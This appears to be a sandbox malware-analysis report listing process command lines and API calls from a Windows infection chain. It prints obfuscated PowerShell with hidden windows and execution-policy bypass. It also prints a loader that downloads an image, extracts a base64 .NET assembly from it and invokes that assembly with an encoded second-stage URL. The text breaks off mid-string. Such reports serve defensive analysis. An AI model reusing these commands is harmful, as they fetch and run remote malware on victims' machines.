JzUbPÇKuBlzUbPÇKuG4zUbPÇKuZzUbPÇKuBJzUbPÇKuG4zUbPÇKuZzUbPÇKuBlzUbPÇKuHgzUbPÇKuIzUbPÇKuzUbPÇKutzUbPÇKuCzUbPÇKuzUbPÇKuJzUbPÇKuBzzUbPÇKuHQzUbPÇKuYQByzUbPÇKuHQzUbPÇKuSQBuzUbPÇKuGQzUbPÇKuZQB4zUbPÇKuDszUbPÇKuJzUbPÇKuBizUbPÇKuGEzUbPÇKucwBlzUbPÇKuDYzUbPÇKuNzUbPÇKuBDzUbPÇKuG8zUbPÇKubQBtzUbPÇKuGEzUbPÇKubgBkzUbPÇKuCzUbPÇKuzUbPÇKuPQzUbPÇKugzUbPÇKuCQzUbPÇKuaQBtzUbPÇKuGEzUbPÇKuZwBlzUbPÇKuFQzUbPÇKuZQB4zUbPÇKuHQzUbPÇKuLgBTzUbPÇKuHUzUbPÇKuYgBzzUbPÇKuHQzUbPÇKucgBpzUbPÇKuG4zUbPÇKuZwzUbPÇKuozUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEkzUbPÇKubgBkzUbPÇKuGUzUbPÇKuezUbPÇKuzUbPÇKuszUbPÇKuCzUbPÇKuzUbPÇKuJzUbPÇKuBizUbPÇKuGEzUbPÇKucwBlzUbPÇKuDYzUbPÇKuNzUbPÇKuBMzUbPÇKuGUzUbPÇKubgBnzUbPÇKuHQzUbPÇKuazUbPÇKuzUbPÇKupzUbPÇKuDszUbPÇKuJzUbPÇKuBjzUbPÇKuG8zUbPÇKubQBtzUbPÇKuGEzUbPÇKubgBkzUbPÇKuEIzUbPÇKueQB0zUbPÇKuGUzUbPÇKucwzUbPÇKugzUbPÇKuD0zUbPÇKuIzUbPÇKuBbzUbPÇKuFMzUbPÇKueQBzzUbPÇKuHQzUbPÇKuZQBtzUbPÇKuC4zUbPÇKuQwBvzUbPÇKuG4zUbPÇKudgBlzUbPÇKuHIzUbPÇKudzUbPÇKuBdzUbPÇKuDozUbPÇKuOgBGzUbPÇKuHIzUbPÇKubwBtzUbPÇKuEIzUbPÇKuYQBzzUbPÇKuGUzUbPÇKuNgzUbPÇKu0zUbPÇKuFMzUbPÇKudzUbPÇKuByzUbPÇKuGkzUbPÇKubgBnzUbPÇKuCgzUbPÇKuJzUbPÇKuBizUbPÇKuGEzUbPÇKucwBlzUbPÇKuDYzUbPÇKuNzUbPÇKuBDzUbPÇKuG8zUbPÇKubQBtzUbPÇKuGEzUbPÇKubgBkzUbPÇKuCkzUbPÇKuOwzUbPÇKukzUbPÇKuGwzUbPÇKubwBhzUbPÇKuGQzUbPÇKuZQBkzUbPÇKuEEzUbPÇKucwBzzUbPÇKuGUzUbPÇKubQBizUbPÇKuGwzUbPÇKueQzUbPÇKugzUbPÇKuD0zUbPÇKuIzUbPÇKuBbzUbPÇKuFMzUbPÇKueQBzzUbPÇKuHQzUbPÇKuZQBtzUbPÇKuC4zUbPÇKuUgBlzUbPÇKuGYzUbPÇKubzUbPÇKuBlzUbPÇKuGMzUbPÇKudzUbPÇKuBpzUbPÇKuG8zUbPÇKubgzUbPÇKuuzUbPÇKuEEzUbPÇKucwBzzUbPÇKuGUzUbPÇKubQBizUbPÇKuGwzUbPÇKueQBdzUbPÇKuDozUbPÇKuOgBMzUbPÇKuG8zUbPÇKuYQBkzUbPÇKuCgzUbPÇKuJzUbPÇKuBjzUbPÇKuG8zUbPÇKubQBtzUbPÇKuGEzUbPÇKubgBkzUbPÇKuEIzUbPÇKueQB0zUbPÇKuGUzUbPÇKucwzUbPÇKupzUbPÇKuDszUbPÇKuJzUbPÇKuB0zUbPÇKuHkzUbPÇKuczUbPÇKuBlzUbPÇKuCzUbPÇKuzUbPÇKuPQzUbPÇKugzUbPÇKuCQzUbPÇKubzUbPÇKuBvzUbPÇKuGEzUbPÇKuZzUbPÇKuBlzUbPÇKuGQzUbPÇKuQQBzzUbPÇKuHMzUbPÇKuZQBtzUbPÇKuGIzUbPÇKubzUbPÇKuB5zUbPÇKuC4zUbPÇKuRwBlzUbPÇKuHQzUbPÇKuVzUbPÇKuB5zUbPÇKuHzUbPÇKuzUbPÇKuZQzUbPÇKuozUbPÇKuCczUbPÇKuRgBpzUbPÇKuGIzUbPÇKuZQByzUbPÇKuC4zUbPÇKuSzUbPÇKuBvzUbPÇKuG0zUbPÇKuZQzUbPÇKunzUbPÇKuCkzUbPÇKuOwzUbPÇKukzUbPÇKuG0zUbPÇKuZQB0zUbPÇKuGgzUbPÇKubwBkzUbPÇKuCzUbPÇKuzUbPÇKuPQzUbPÇKugzUbPÇKuCQzUbPÇKudzUbPÇKuB5zUbPÇKuHzUbPÇKuzUbPÇKuZQzUbPÇKuuzUbPÇKuEczUbPÇKuZQB0zUbPÇKuE0zUbPÇKuZQB0zUbPÇKuGgzUbPÇKubwBkzUbPÇKuCgzUbPÇKuJwBWzUbPÇKuEEzUbPÇKuSQzUbPÇKunzUbPÇKuCkzUbPÇKuLgBJzUbPÇKuG4zUbPÇKudgBvzUbPÇKuGszUbPÇKuZQzUbPÇKuozUbPÇKuCQzUbPÇKubgB1zUbPÇKuGwzUbPÇKubzUbPÇKuzUbPÇKuszUbPÇKuCzUbPÇKuzUbPÇKuWwBvzUbPÇKuGIzUbPÇKuagBlzUbPÇKuGMzUbPÇKudzUbPÇKuBbzUbPÇKuF0zUbPÇKuXQzUbPÇKugzUbPÇKuCgzUbPÇKuJwBkzUbPÇKuEgzUbPÇKuazUbPÇKuzUbPÇKuwzUbPÇKuEwzUbPÇKubQBWzUbPÇKuHUzUbPÇKuYgzUbPÇKuzzUbPÇKuHzUbPÇKuzUbPÇKueQBZzUbPÇKuFYzUbPÇKuYwzUbPÇKuxzUbPÇKuE4zUbPÇKuRzUbPÇKuBNzUbPÇKuHkzUbPÇKuTQBTzUbPÇKuDkzUbPÇKubzUbPÇKuBizUbPÇKuEczUbPÇKubzUbPÇKuBtzUbPÇKuEwzUbPÇKuegBJzUbPÇKuHgzUbPÇKuTQBpzUbPÇKuDQzUbPÇKuegBNzUbPÇKuFQzUbPÇKuRQB1zUbPÇKuE4zUbPÇKuVzUbPÇKuBjzUbPÇKuHgzUbPÇKuTzUbPÇKuBqzUbPÇKuGMzUbPÇKudwBNzUbPÇKuFMzUbPÇKuOzUbPÇKuB2zUbPÇKuE8zUbPÇKubgBCzUbPÇKuDzUbPÇKuzUbPÇKuZzUbPÇKuBHzUbPÇKuGczUbPÇKuPQzUbPÇKunzUbPÇKuCzUbPÇKuzUbPÇKuLzUbPÇKuzUbPÇKugzUbPÇKuCczUbPÇKuJwzUbPÇKugzUbPÇKuCwzUbPÇKuIzUbPÇKuzUbPÇKunzUbPÇKuDIzUbPÇKuJwzUbPÇKugzUbPÇKuCwzUbPÇKuIzUbPÇKuzUbPÇKunzUbPÇKuEYzUbPÇKuaQByzUbPÇKuGUzUbPÇKuZgBvzUbPÇKuHgzUbPÇKucwzUbPÇKunzUbPÇKuCzUbPÇKuzUbPÇKuLzUbPÇKuzUbPÇKugzUbPÇKuCczUbPÇKuMQzUbPÇKunzUbPÇKuCzUbPÇKuzUbPÇKuLzUbPÇKuzUbPÇKugzUbPÇKuCczUbPÇKuQwzUbPÇKu6zUbPÇKuFwzUbPÇKuVwBpzUbPÇKuG4zUbPÇKuZzUbPÇKuBvzUbPÇKuHczUbPÇKucwBczUbPÇKuFQzUbPÇKuZQBtzUbPÇKuHzUbPÇKuzUbPÇKuXzUbPÇKuzUbPÇKunzUbPÇKuCwzUbPÇKuIzUbPÇKuzUbPÇKunzUbPÇKuEYzUbPÇKuaQByzUbPÇKuGUzUbPÇKuZgBvzUbPÇKuHgzUbPÇKucwzUbPÇKunzUbPÇKuCkzUbPÇKuKQzUbPÇKu=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('zUbPÇKu','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'JzUbPÇKuBpzUbPÇKuG0zUbPÇKuYQBnzUbPÇKuGUzUbPÇKuVQByzUbPÇKuGwzUbPÇKuIzUbPÇKuzUbPÇKu9zUbPÇKuCzUbPÇKuzUbPÇKuJwBozUbPÇKuHQzUbPÇKudzUbPÇKuBwzUbPÇKuHMzUbPÇKuOgzUbPÇKuvzUbPÇKuC8zUbPÇKuaQBtzUbPÇKuGEzUbPÇKuZwBlzUbPÇKuHUzUbPÇKuczUbPÇKuBszUbPÇKuG8zUbPÇKuYQBkzUbPÇKuC4zUbPÇKuaQBvzUbPÇKuC8zUbPÇKuaQBizUbPÇKuC8zUbPÇKuVwBKzUbPÇKuHYzUbPÇKuZQBYzUbPÇKuDczUbPÇKuMQBhzUbPÇKuGczUbPÇKubQBPzUbPÇKuFEzUbPÇKuNgBHzUbPÇKuHczUbPÇKuXwzUbPÇKuxzUbPÇKuDYzUbPÇKuOQzUbPÇKu4zUbPÇKuDczUbPÇKuNgzUbPÇKuyzUbPÇKuDYzUbPÇKuNzUbPÇKuzUbPÇKuyzUbPÇKuC4zUbPÇKuagBwzUbPÇKuGczUbPÇKuJwzUbPÇKu7zUbPÇKuCQzUbPÇKudwBlzUbPÇKuGIzUbPÇKuQwBszUbPÇKuGkzUbPÇKuZQBuzUbPÇKuHQzUbPÇKuIzUbPÇKuzUbPÇKu9zUbPÇKuCzUbPÇKuzUbPÇKuTgBlzUbPÇKuHczUbPÇKuLQBPzUbPÇKuGIzUbPÇKuagBlzUbPÇKuGMzUbPÇKudzUbPÇKuzUbPÇKugzUbPÇKuFMzUbPÇKueQBzzUbPÇKuHQzUbPÇKuZQBtzUbPÇKuC4zUbPÇKuTgBlzUbPÇKuHQzUbPÇKuLgBXzUbPÇKuGUzUbPÇKuYgBDzUbPÇKuGwzUbPÇKuaQBlzUbPÇKuG4zUbPÇKudzUbPÇKuzUbPÇKu7zUbPÇKuCQzUbPÇKuaQBtzUbPÇKuGEzUbPÇKuZwBlzUbPÇKuEIzUbPÇKueQB0zUbPÇKuGUzUbPÇKucwzUbPÇKugzUbPÇKuD0zUbPÇKuIzUbPÇKuzUbPÇKukzUbPÇKuHczUbPÇKuZQBizUbPÇKuEMzUbPÇKubzUbPÇKuBpzUbPÇKuGUzUbPÇKubgB0zUbPÇKuC4zUbPÇKuRzUbPÇKuBvzUbPÇKuHczUbPÇKubgBszUbPÇKuG8zUbPÇKuYQBkzUbPÇKuEQzUbPÇKuYQB0zUbPÇKuGEzUbPÇKuKzUbPÇKuzUbPÇKukzUbPÇKuGkzUbPÇKubQBhzUbPÇKuGczUbPÇKuZQBVzUbPÇKuHIzUbPÇKubzUbPÇKuzUbPÇKupzUbPÇKuDszUbPÇKuJzUbPÇKuBpzUbPÇKuG0zUbPÇKuYQBnzUbPÇKuGUzUbPÇKuVzUbPÇKuBlzUbPÇKuHgzUbPÇKudzUbPÇKuzUbPÇKugzUbPÇKuD0zUbPÇKuIzUbPÇKuBbzUbPÇKuFMzUbPÇKueQBzzUbPÇKuHQzUbPÇKuZQBtzUbPÇKuC4zUbPÇKuVzUbPÇKuBlzUbPÇKuHgzUbPÇKudzUbPÇKuzUbPÇKuuzUbPÇKuEUzUbPÇKubgBjzUbPÇKuG8zUbPÇKuZzUbPÇKuBpzUbPÇKuG4zUbPÇKuZwBdzUbPÇKuDozUbPÇKuOgBVzUbPÇKuFQzUbPÇKuRgzUbPÇKu4zUbPÇKuC4zUbPÇKuRwBlzUbPÇKuHQzUbPÇKuUwB0zUbPÇKuHIzUbPÇKuaQBuzUbPÇKuGczUbPÇKuKzUbPÇKuzUbPÇKukzUbPÇKuGkzUbPÇKubQBhzUbPÇKuGczUbPÇKuZQBCzUbPÇKuHkzUbPÇKudzUbPÇKuBlzUbPÇKuHMzUbPÇKuKQzUbPÇKu7zUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEYzUbPÇKubzUbPÇKuBhzUbPÇKuGczUbPÇKuIzUbPÇKuzUbPÇKu9zUbPÇKuCzUbPÇKuzUbPÇKuJwzUbPÇKu8zUbPÇKuDwzUbPÇKuQgBBzUbPÇKuFMzUbPÇKuRQzUbPÇKu2zUbPÇKuDQzUbPÇKuXwBTzUbPÇKuFQzUbPÇKuQQBSzUbPÇKuFQzUbPÇKuPgzUbPÇKu+zUbPÇKuCczUbPÇKuOwzUbPÇKukzUbPÇKuGUzUbPÇKubgBkzUbPÇKuEYzUbPÇKubzUbPÇKuBhzUbPÇKuGczUbPÇKuIzUbPÇKuzUbPÇKu9zUbPÇKuCzUbPÇKuzUbPÇKuJwzUbPÇKu8zUbPÇKuDwzUbPÇKuQgBBzUbPÇKuFMzUbPÇKuRQzUbPÇKu2zUbPÇKuDQzUbPÇKuXwBFzUbPÇKuE4zUbPÇKuRzUbPÇKuzUbPÇKu+zUbPÇKuD4zUbPÇKuJwzUbPÇKu7zUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEkzUbPÇKubgBkzUbPÇKuGUzUbPÇKuezUbPÇKuzUbPÇKugzUbPÇKuD0zUbPÇKuIzUbPÇKuzUbPÇKukzUbPÇKuGkzUbPÇKubQBhzUbPÇKuGczUbPÇKuZQBUzUbPÇKuGUzUbPÇKuezUbPÇKuB0zUbPÇKuC4zUbPÇKuSQBuzUbPÇKuGQzUbPÇKuZQB4zUbPÇKuE8zUbPÇKuZgzUbPÇKuozUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEYzUbPÇKubzUbPÇKuBhzUbPÇKuGczUbPÇKuKQzUbPÇKu7zUbPÇKuCQzUbPÇKuZQBuzUbPÇKuGQzUbPÇKuSQBuzUbPÇKuGQzUbPÇKuZQB4zUbPÇKuCzUbPÇKuzUbPÇKuPQzUbPÇKugzUbPÇKuCQzUbPÇKuaQBtzUbPÇKuGEzUbPÇKuZwBlzUbPÇKuFQzUbPÇKuZQB4zUbPÇKuHQzUbPÇKuLgBJzUbPÇKuG4zUbPÇKuZzUbPÇKuBlzUbPÇKuHgzUbPÇKuTwBmzUbPÇKuCgzUbPÇKuJzUbPÇKuBlzUbPÇKuG4zUbPÇKuZzUbPÇKuBGzUbPÇKuGwzUbPÇKuYQBnzUbPÇKuCkzUbPÇKuOwzUbPÇKukzUbPÇKuHMzUbPÇKudzUbPÇKuBhzUbPÇKuHIzUbPÇKudzUbPÇKuBJzUbPÇKuG4zUbPÇKuZzUbPÇKuBlzUbPÇKuHgzUbPÇKuIzUbPÇKuzUbPÇKutzUbPÇKuGczUbPÇKuZQzUbPÇKugzUbPÇKuDzUbPÇKuzUbPÇKuIzUbPÇKuzUbPÇKutzUbPÇKuGEzUbPÇKubgBkzUbPÇKuCzUbPÇKuzUbPÇKuJzUbPÇKuBlzUbPÇKuG4zUbPÇKuZzUbPÇKuBJzUbPÇKuG4zUbPÇKuZzUbPÇKuBlzUbPÇKuHgzUbPÇKuIzUbPÇKuzUbPÇKutzUbPÇKuGczUbPÇKudzUbPÇKuzUbPÇKugzUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEkzUbPÇKubgBkzUbPÇKuGUzUbPÇKuezUbPÇKuzUbPÇKu7zUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEkzUbPÇKubgBkzUbPÇKuGUzUbPÇKuezUbPÇKuzUbPÇKugzUbPÇKuCszUbPÇKuPQzUbPÇKugzUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEYzUbPÇKubzUbPÇKuBhzUbPÇKuGczUbPÇKuLgBMzUbPÇKuGUzUbPÇKubgBnzUbPÇKuHQzUbPÇKuazUbPÇKuzUbPÇKu7zUbPÇKuCQzUbPÇKuYgBhzUbPÇKuHMzUbPÇKuZQzUbPÇKu2zUbPÇKuDQzUbPÇKuTzUbPÇKuBlzUbPÇKuG4zUbPÇKuZwB0zUbPÇKuGgzUbPÇKuIzUbPÇKuzUbPÇKu9zUbPÇKuCzUbPÇKuzUbPÇKuJzUbPÇKuBlzUbPÇKuG4zUbPÇKuZzUbPÇKuBJzUbPÇKuG4zUbPÇKuZzUbPÇKuBlzUbPÇKuHgzUbPÇKuIzUbPÇKuzUbPÇKutzUbPÇKuCzUbPÇKuzUbPÇKuJzUbPÇKuBzzUbPÇKuHQzUbPÇKuYQByzUbPÇKuHQzUbPÇKuSQBuzUbPÇKuGQzUbPÇKuZQB4zUbPÇKuDszUbPÇKuJzUbPÇKuBizUbPÇKuGEzUbPÇKucwBlzUbPÇKuDYzUbPÇKuNzUbPÇKuBDzUbPÇKuG8zUbPÇKubQBtzUbPÇKuGEzUbPÇKubgBkzUbPÇKuCzUbPÇKuzUbPÇKuPQzUbPÇKugzUbPÇKuCQzUbPÇKuaQBtzUbPÇKuGEzUbPÇKuZwBlzUbPÇKuFQzUbPÇKuZQB4zUbPÇKuHQzUbPÇKuLgBTzUbPÇKuHUzUbPÇKuYgBzzUbPÇKuHQzUbPÇKucgBpzUbPÇKuG4zUbPÇKuZwzUbPÇKuozUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEkzUbPÇKubgBkzUbPÇKuGUzUbPÇKuezUbPÇKuzUbPÇKuszUbPÇKuCzUbPÇKuzUbPÇKuJzUbPÇKuBizUbPÇKuGEzUbPÇKucwBlzUbPÇKuDYzUbPÇKuNzUbPÇKuBMzUbPÇKuGUzUbPÇKubgBnzUbPÇKuHQzUbPÇKuazUbPÇKuzUbPÇKupzUbPÇKuDszUbPÇKuJzUbPÇKuBjzUbPÇKuG8zUbPÇKubQBtzUbPÇKuGEzUbPÇKubgBkzUbPÇKuEIzUbPÇKueQB0zUbPÇKuGUzUbPÇKucwzUbPÇKugzUbPÇKuD0zUbPÇKuIzUbPÇKuBbzUbPÇKuFMzUbPÇKueQBzzUbPÇKuHQzUbPÇKuZQBtzUbPÇKuC4zUbPÇKuQwBvzUbPÇKuG4zUbPÇKudgBlzUbPÇKuHIzUbPÇKudzUbPÇKuBdzUbPÇKuDozUbPÇKuOgBGzUbPÇKuHIzUbPÇKubwBtzUbPÇKuEIzUbPÇKuYQBzzUbPÇKuGUzUbPÇKuNgzUbPÇKu0zUbPÇKuFMzUbPÇKudzUbPÇKuByzUbPÇKuGkzUbPÇKubgBnzUbPÇKuCgzUbPÇKuJzUbPÇKuBizUbPÇKuGEzUbPÇKucwBlzUbPÇKuDYzUbPÇKuNzUbPÇKuBDzUbPÇKuG8zUbPÇKubQBtzUbPÇKuGEzUbPÇKubgBkzUbPÇKuCkzUbPÇKuOwzUbPÇKukzUbPÇKuGwzUbPÇKubwBhzUbPÇKuGQzUbPÇKuZQBkzUbPÇKuEEzUbPÇKucwBzzUbPÇKuGUzUbPÇKubQBizUbPÇKuGwzUbPÇKueQzUbPÇKugzUbPÇKuD0zUbPÇKuIzUbPÇKuBbzUbPÇKuFMzUbPÇKueQBzzUbPÇKuHQzUbPÇKuZQBtzUbPÇKuC4zUbPÇKuUgBlzUbPÇKuGYzUbPÇKubzUbPÇKuBlzUbPÇKuGMzUbPÇKudzUbPÇKuBpzUbPÇKuG8zUbPÇKubgzUbPÇKuuzUbPÇKuEEzUbPÇKucwBzzUbPÇKuGUzUbPÇKubQBizUbPÇKuGwzUbPÇKueQBdzUbPÇKuDozUbPÇKuOgBMzUbPÇKuG8zUbPÇKuYQBkzUbPÇKuCgzUbPÇKuJzUbPÇKuBjzUbPÇKuG8zUbPÇKubQBtzUbPÇKuGEzUbPÇKubgBkzUbPÇKuEIzUbPÇKueQB0zUbPÇKuGUzUbPÇKucwzUbPÇKupzUbPÇKuDszUbPÇKuJzUbPÇKuB0zUbPÇKuHkzUbPÇKuczUbPÇKuBlzUbPÇKuCzUbPÇKuzUbPÇKuPQzUbPÇKugzUbPÇKuCQzUbPÇKubzUbPÇKuBvzUbPÇKuGEzUbPÇKuZzUbPÇKuBlzUbPÇKuGQzUbPÇKuQQBzzUbPÇKuHMzUbPÇKuZQBtzUbPÇKuGIzUbPÇKubzUbPÇKuB5zUbPÇKuC4zUbPÇKuRwBlzUbPÇKuHQzUbPÇKuVzUbPÇKuB5zUbPÇKuHzUbPÇKuzUbPÇKuZQzUbPÇKuozUbPÇKuCczUbPÇKuRgBpzUbPÇKuGIzUbPÇKuZQByzUbPÇKuC4zUbPÇKuSzUbPÇKuBvzUbPÇKuG0zUbPÇKuZQzUbPÇKunzUbPÇKuCkzUbPÇKuOwzUbPÇKukzUbPÇKuG0zUbPÇKuZQB0zUbPÇKuGgzUbPÇKubwBkzUbPÇKuCzUbPÇKuzUbPÇKuPQzUbPÇKugzUbPÇKuCQzUbPÇKudzUbPÇKuB5zUbPÇKuHzUbPÇKuzUbPÇKuZQzUbPÇKuuzUbPÇKuEczUbPÇKuZQB0zUbPÇKuE0zUbPÇKuZQB0zUbPÇKuGgzUbPÇKubwBkzUbPÇKuCgzUbPÇKuJwBWzUbPÇKuEEzUbPÇKuSQzUbPÇKunzUbPÇKuCkzUbPÇKuLgBJzUbPÇKuG4zUbPÇKudgBvzUbPÇKuGszUbPÇKuZQzUbPÇKuozUbPÇKuCQzUbPÇKubgB1zUbPÇKuGwzUbPÇKubzUbPÇKuzUbPÇKuszUbPÇKuCzUbPÇKuzUbPÇKuWwBvzUbPÇKuGIzUbPÇKuagBlzUbPÇKuGMzUbPÇKudzUbPÇKuBbzUbPÇKuF0zUbPÇKuXQzUbPÇKugzUbPÇKuCgzUbPÇKuJwBkzUbPÇKuEgzUbPÇKuazUbPÇKuzUbPÇKuwzUbPÇKuEwzUbPÇKubQBWzUbPÇKuHUzUbPÇKuYgzUbPÇKuzzUbPÇKuHzUbPÇKuzUbPÇKueQBZzUbPÇKuFYzUbPÇKuYwzUbPÇKuxzUbPÇKuE4zUbPÇKuRzUbPÇKuBNzUbPÇKuHkzUbPÇKuTQBTzUbPÇKuDkzUbPÇKubzUbPÇKuBizUbPÇKuEczUbPÇKubzUbPÇKuBtzUbPÇKuEwzUbPÇKuegBJzUbPÇKuHgzUbPÇKuTQBpzUbPÇKuDQzUbPÇKuegBNzUbPÇKuFQzUbPÇKuRQB1zUbPÇKuE4zUbPÇKuVzUbPÇKuBjzUbPÇKuHgzUbPÇKuTzUbPÇKuBqzUbPÇKuGMzUbPÇKudwBNzUbPÇKuFMzUbPÇKuOzUbPÇKuB2zUbPÇKuE8zUbPÇKubgBCzUbPÇKuDzUbPÇKuzUbPÇKuZzUbPÇKuBHzUbPÇKuGczUbPÇKuPQzUbPÇKunzUbPÇKuCzUbPÇKuzUbPÇKuLzUbPÇKuzUbPÇKugzUbPÇKuCczUbPÇKuJwzUbPÇKugzUbPÇKuCwzUbPÇKuIzUbPÇKuzUbPÇKunzUbPÇKuDIzUbPÇKuJwzUbPÇKugzUbPÇKuCwzUbPÇKuIzUbPÇKuzUbPÇKunzUbPÇKuEYzUbPÇKuaQByzUbPÇKuGUzUbPÇKuZgBvzUbPÇKuHgzUbPÇKucwzUbPÇKunzUbPÇKuCzUbPÇKuzUbPÇKuLzUbPÇKuzUbPÇKugzUbPÇKuCczUbPÇKuMQzUbPÇKunzUbPÇKuCzUbPÇKuzUbPÇKuLzUbPÇKuzUbPÇKugzUbPÇKuCczUbPÇKuQwzUbPÇKu6zUbPÇKuFwzUbPÇKuVwBpzUbPÇKuG4zUbPÇKuZzUbPÇKuBvzUbPÇKuHczUbPÇKucwBczUbPÇKuFQzUbPÇKuZQBtzUbPÇKuHzUbPÇKuzUbPÇKuXzUbPÇKuzUbPÇKunzUbPÇKuCwzUbPÇKuIzUbPÇKuzUbPÇKunzUbPÇKuEYzUbPÇKuaQByzUbPÇKuGUzUbPÇKuZgBvzUbPÇKuHgzUbPÇKucwzUbPÇKunzUbPÇKuCkzUbPÇKuKQzUbPÇKu=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('zUbPÇKu','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://imageupload.io/ib/WJveX71agmOQ6Gw_1698762642.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LmVub3pyYVc1NDMyMS9lbGlmLzIxMi4zMTEuNTcxLjcwMS8vOnB0dGg=' , '' , '2' , 'Firefoxs' , '1' , 'C:\Windows\Temp\', 'Firefoxs'))"

A process created a hidden window (4 events)

Time & API	Arguments	Status	Return
ShellExecuteExW Nov. 2, 2023, 10:05 a.m.	show_type: 0 filepath_r: cscript.exe parameters: C:\Users\test22\AppData\Local\Temp\ZtZrXNAbFDXYomOuLGEMSiBJOBDoapJNRAmytqVsfxPgsEVXFUaakNCAHFIQYATzzYtnzWAoKyvemypxhhmSPkLCuqUWYhWaIBRvZCENNviwxaZppSGgXcFgmObRIIpEXPkYtyuuQZasSYOQjlbLDd.vbs filepath: cscript.exe	1	1
CreateProcessInternalW Nov. 2, 2023, 10:05 a.m.	thread_identifier: 2336 thread_handle: 0x00000554 process_identifier: 2332 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'JzUbPÇKuBpzUbPÇKuG0zUbPÇKuYQBnzUbPÇKuGUzUbPÇKuVQByzUbPÇKuGwzUbPÇKuIzUbPÇKuzUbPÇKu9zUbPÇKuCzUbPÇKuzUbPÇKuJwBozUbPÇKuHQzUbPÇKudzUbPÇKuBwzUbPÇKuHMzUbPÇKuOgzUbPÇKuvzUbPÇKuC8zUbPÇKuaQBtzUbPÇKuGEzUbPÇKuZwBlzUbPÇKuHUzUbPÇKuczUbPÇKuBszUbPÇKuG8zUbPÇKuYQBkzUbPÇKuC4zUbPÇKuaQBvzUbPÇKuC8zUbPÇKuaQBizUbPÇKuC8zUbPÇKuVwBKzUbPÇKuHYzUbPÇKuZQBYzUbPÇKuDczUbPÇKuMQBhzUbPÇKuGczUbPÇKubQBPzUbPÇKuFEzUbPÇKuNgBHzUbPÇKuHczUbPÇKuXwzUbPÇKuxzUbPÇKuDYzUbPÇKuOQzUbPÇKu4zUbPÇKuDczUbPÇKuNgzUbPÇKuyzUbPÇKuDYzUbPÇKuNzUbPÇKuzUbPÇKuyzUbPÇKuC4zUbPÇKuagBwzUbPÇKuGczUbPÇKuJwzUbPÇKu7zUbPÇKuCQzUbPÇKudwBlzUbPÇKuGIzUbPÇKuQwBszUbPÇKuGkzUbPÇKuZQBuzUbPÇKuHQzUbPÇKuIzUbPÇKuzUbPÇKu9zUbPÇKuCzUbPÇKuzUbPÇKuTgBlzUbPÇKuHczUbPÇKuLQBPzUbPÇKuGIzUbPÇKuagBlzUbPÇKuGMzUbPÇKudzUbPÇKuzUbPÇKugzUbPÇKuFMzUbPÇKueQBzzUbPÇKuHQzUbPÇKuZQBtzUbPÇKuC4zUbPÇKuTgBlzUbPÇKuHQzUbPÇKuLgBXzUbPÇKuGUzUbPÇKuYgBDzUbPÇKuGwzUbPÇKuaQBlzUbPÇKuG4zUbPÇKudzUbPÇKuzUbPÇKu7zUbPÇKuCQzUbPÇKuaQBtzUbPÇKuGEzUbPÇKuZwBlzUbPÇKuEIzUbPÇKueQB0zUbPÇKuGUzUbPÇKucwzUbPÇKugzUbPÇKuD0zUbPÇKuIzUbPÇKuzUbPÇKukzUbPÇKuHczUbPÇKuZQBizUbPÇKuEMzUbPÇKubzUbPÇKuBpzUbPÇKuGUzUbPÇKubgB0zUbPÇKuC4zUbPÇKuRzUbPÇKuBvzUbPÇKuHczUbPÇKubgBszUbPÇKuG8zUbPÇKuYQBkzUbPÇKuEQzUbPÇKuYQB0zUbPÇKuGEzUbPÇKuKzUbPÇKuzUbPÇKukzUbPÇKuGkzUbPÇKubQBhzUbPÇKuGczUbPÇKuZQBVzUbPÇKuHIzUbPÇKubzUbPÇKuzUbPÇKupzUbPÇKuDszUbPÇKuJzUbPÇKuBpzUbPÇKuG0zUbPÇKuYQBnzUbPÇKuGUzUbPÇKuVzUbPÇKuBlzUbPÇKuHgzUbPÇKudzUbPÇKuzUbPÇKugzUbPÇKuD0zUbPÇKuIzUbPÇKuBbzUbPÇKuFMzUbPÇKueQBzzUbPÇKuHQzUbPÇKuZQBtzUbPÇKuC4zUbPÇKuVzUbPÇKuBlzUbPÇKuHgzUbPÇKudzUbPÇKuzUbPÇKuuzUbPÇKuEUzUbPÇKubgBjzUbPÇKuG8zUbPÇKuZzUbPÇKuBpzUbPÇKuG4zUbPÇKuZwBdzUbPÇKuDozUbPÇKuOgBVzUbPÇKuFQzUbPÇKuRgzUbPÇKu4zUbPÇKuC4zUbPÇKuRwBlzUbPÇKuHQzUbPÇ